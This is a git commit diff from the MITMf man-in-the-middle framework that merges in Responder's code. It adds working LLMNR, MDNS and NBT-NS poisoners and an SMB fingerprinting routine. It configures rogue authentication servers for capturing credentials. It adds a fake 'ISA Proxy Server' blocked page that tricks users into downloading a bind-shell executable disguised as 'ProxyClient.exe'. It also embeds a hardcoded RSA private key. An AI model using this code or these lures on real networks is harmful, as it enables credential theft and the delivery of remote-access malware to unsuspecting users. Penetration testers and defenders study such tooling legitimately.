first pass at refactoring:

directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes
This commit is contained in:
byt3bl33d3r 2015-08-02 21:15:10 +02:00
parent 93d21c8b27
commit fd9b79c617
87 changed files with 3921 additions and 3755 deletions

View file

@ -20,53 +20,6 @@
host = 127.0.0.1
port = 9999
[[HTTP]]
#
# Here you can configure MITMf's internal HTTP server
# Note: changing the port number might break certain plugins
port = 80
[[SMB]]
#
# Here you can configure MITMf's internal SMB server
#
port = 445
mode = normal # Can be set to Normal or Karma
# Set a custom challenge
Challenge = 1122334455667788
[[[Shares]]] # Only parsed if type = Normal
#
# You can define shares here
#
# [[[[Share1]]]] #Share name
# readonly = yes #Be very careful if you set this to no!
# path = /tmp #Share path
# [[[[Share2]]]]
# readonly = yes
# path = /tmp
[[[Karma]]] # Only parsed if type = Karma
#
# Here you can configure the Karma-SMB server
#
defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out)
# exe = /tmp/evil.exe
# dll = /tmp/evil.dll
# ini = /tmp/desktop.ini
# bat = /tmp/evil.bat
[[DNS]]
#
@ -154,32 +107,63 @@
[Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
MSSQL = On
#Servers to start
SQL = On
HTTPS = On
Kerberos = On
FTP = On
POP = On
SMTP = On #Listens on 25/TCP, 587/TCP
IMAP = On
LDAP = On
FTP = On
POP = On
SMTP = On
IMAP = On
LDAP = On
#Set this option with your in-scope targets (default = All)
#Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
#Custom challenge
Challenge = 1122334455667788
#Specific IP Addresses to respond to (default = All)
#Example: RespondTo = 10.20.1.100-150, 10.20.3.10
RespondTo =
#Set this option with specific NBT-NS/LLMNR names to answer to (default = All)
#Ex. RespondTo = WPAD,DEV,PROD,SQLINT
#Specific NBT-NS/LLMNR names to respond to (default = All)
#Example: RespondTo = WPAD, DEV, PROD, SQLINT
RespondToName =
#DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
#Specific IP Addresses not to respond to (default = None)
#Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo =
#Set this option with specific NBT-NS/LLMNR names not to respond to (default = None)
#Ex. DontRespondTo = NAC, IPS, IDS
#Specific NBT-NS/LLMNR names not to respond to (default = None)
#Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName =
#Set your custom PAC script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
[[HTTP Server]]
#Set to On to always serve the custom EXE
Serve-Always = Off
#Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
#Set to On to serve the custom HTML if the URL does not contain .exe
Serve-Html = Off
#Custom HTML to serve
HtmlFilename = config/responder/AccessDenied.html
#Custom EXE File to serve
ExeFilename = config/responder/BindShell.exe
#Name of the downloaded .exe that the client will see
ExeDownloadName = ProxyClient.exe
#Custom WPAD Script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
[[HTTPS Server]]
#Configure SSL Certificates to use
SSLCert = config/responder/responder.crt
SSLKey = config/responder/responder.key
[AppCachePoison]
# HTML5 AppCache poisioning attack

View file

@ -0,0 +1,31 @@
<html>
<head>
<title>Website Blocked: ISA Proxy Server</title>
<style>
<!--
body, ul, li { font-family:Arial, Helvetica, sans-serif; font-size:14px; color:#737373; margin:0; padding:0;}
.content { padding: 20px 15px 15px 40px; width: 500px; margin: 70px auto 6px auto; border: #D52B1E solid 2px;}
.blocking { border-top: #D52B1E solid 2px; border-bottom: #D52B1E solid 2px;}
.title { font-size: 24px; border-bottom: #ccc solid 1px; padding-bottom:15px; margin-bottom:15px;}
.details li { list-style: none; padding: 4px 0;}
.footer { color: #6d90e7; font-size: 14px; width: 540px; margin: 0 auto; text-align:right; }
-->
</style>
</head>
<body>
<center>
<div class="content blocking">
<div class="title" id="msg_title"><b>New Security Policy: Website Blocked</b></div>
<ul class="details">
<div id="main_block">
<div id="msg_long_reason">
<li><b>Access has been blocked. Please download and install the new </b><span class="url"><a href="http://isaProxysrv/ProxyClient.exe"><b>Proxy Client</b></a></span><b> in order to access internet resources.</b></li>
</div>
</ul>
</div>
<div class="footer">ISA Security <b>Proxy Server</b></div>
</center>
</body>
</html>

Binary file not shown.

View file

@ -0,0 +1,3 @@
#!/bin/bash
openssl genrsa -out responder.key 2048
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"

View file

@ -0,0 +1,18 @@
-----BEGIN CERTIFICATE-----
MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw
NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU
YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm
6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0
YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8
koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335
4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw
YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW
HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v
u0/CRCN/lg==
-----END CERTIFICATE-----

View file

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
-----END RSA PRIVATE KEY-----

View file

@ -22,7 +22,7 @@ from mitmflib.watchdog.observers import Observer
from mitmflib.watchdog.events import FileSystemEventHandler
from configobj import ConfigObj
class ConfigWatcher(FileSystemEventHandler, object):
class ConfigWatcher(FileSystemEventHandler):
@property
def config(self):

View file

@ -28,7 +28,7 @@ import sys
from flask import Flask
from core.configwatcher import ConfigWatcher
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.proxyplugins import ProxyPlugins
app = Flask(__name__)

View file

@ -1,64 +0,0 @@
Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification.
| Screenshots |
|:-----:|
| ![Screenie1](http://imgur.com/opQo7Bb.png) |
| ![Screenie2](http://imgur.com/Kl5I6Ju.png) |
###Sniffs
* URLs visited
* POST loads sent
* HTTP form logins/passwords
* HTTP basic auth logins/passwords
* HTTP searches
* FTP logins/passwords
* IRC logins/passwords
* POP logins/passwords
* IMAP logins/passwords
* Telnet logins/passwords
* SMTP logins/passwords
* SNMP community string
* NTLMv1/v2 all supported protocols like HTTP, SMB, LDAP, etc
* Kerberos
###Examples
Auto-detect the interface to sniff
```sudo python net-creds.py```
Choose eth0 as the interface
```sudo python net-creds.py -i eth0```
Ignore packets to and from 192.168.0.2
```sudo python net-creds.py -f 192.168.0.2```
Read from pcap
```python net-creds.py -p pcapfile```
####OSX
Credit to [epocs](https://github.com/epocs):
```
sudo easy_install pip
sudo pip install scapy
sudo pip install pcapy
brew install libdnet --with-python
mkdir -p /Users/<username>/Library/Python/2.7/lib/python/site-packages
echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users/<username>/Library/Python/2.7/lib/python/site-packages/homebrew.pth
sudo pip install pypcap
brew tap brona/iproute2mac
brew install iproute2mac
```
Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'.
####Thanks
* Laurent Gaffie
* psychomario

View file

@ -6,10 +6,10 @@ from scapy.all import *
from traceback import print_exc
from netfilterqueue import NetfilterQueue
formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("PacketParser", formatter)
formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("PacketFilter", formatter)
class PacketParser:
class PacketFilter:
def __init__(self, filter):
self.filter = filter

94
core/poisoners/LLMNR.py Normal file
View file

@ -0,0 +1,94 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import core.responder.settings
import core.responder.fingerprint
from core.reponder.packets import LLMNR_Ans
from core.responder.odict import OrderedDict
from SocketServer import BaseRequestHandler
from core.responder.utils import *
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNRServer(BaseRequestHandler):
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

70
core/poisoners/MDNS.py Normal file
View file

@ -0,0 +1,70 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
import socket
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from utils import *
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Request_Name) is not True:
return None
try:
# Analyze Mode
if settings.Config.AnalyzeMode:
if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
# Poisoning Mode
else:
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
except Exception:
raise

79
core/poisoners/NBTNS.py Normal file
View file

@ -0,0 +1,79 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint
from packets import NBT_Ans
from SocketServer import BaseRequestHandler
from utils import *
# Define what are we answering to.
def Validate_NBT_NS(data):
if settings.Config.AnalyzeMode:
return False
if NBT_NS_Role(data[43:46]) == "File Server":
return True
if settings.Config.NBTNSDomain == True:
if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True
if settings.Config.Wredirect == True:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True
else:
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
def handle(self):
data, socket = self.request
Name = Decode_Name(data[13:45])
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == "\x01\x10":
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
Buffer = NBT_Ans()
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [NBT-NS]"
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View file

@ -1,102 +0,0 @@
#common functions that are used throughout the Responder's code
import os
import re
#Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
else:
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
if data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
if data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
else:
return False
#Function name self-explanatory
def Is_Finger_On(Finger_On_Off):
if Finger_On_Off == True:
return True
if Finger_On_Off == False:
return False
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToSpecificName(RespondToName):
if len(RespondToName)>=1 and RespondToName != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
def RespondToNameScope(RespondToName, Name):
if Name in RespondToName:
return True
else:
return False
##Dont Respond to these hosts/names.
def DontRespondToSpecificHost(DontRespondTo):
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
return True
else:
return False
def DontRespondToSpecificName(DontRespondToName):
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
return True
else:
return False
def DontRespondToIPScope(DontRespondTo, ClientIp):
if ClientIp in DontRespondTo:
return True
else:
return False
def DontRespondToNameScope(DontRespondToName, Name):
if Name in DontRespondToName:
return True
else:
return False
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def FindLocalIP(Iface):
return OURIP

View file

@ -0,0 +1,68 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import sys
import socket
import struct
import string
import logging
from utils import *
from odict import OrderedDict
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoFingerData())
n.calculate()
Packet = str(h)+str(n)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
s.send(Buffer)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
s.send(Buffer)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
print color("[!] ", 1, 1) +" Fingerprint failed"
return None

View file

@ -1,121 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct,string
from socket import *
from ..odict import OrderedDict
from ..packet import Packet
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
def OsNameClientVersion(data):
try:
lenght = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
OsVersion, ClientVersion = tuple(var)
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
final = t
packet0 = str(head)+str(final)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)

View file

@ -1,132 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,socket,struct
from socket import *
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
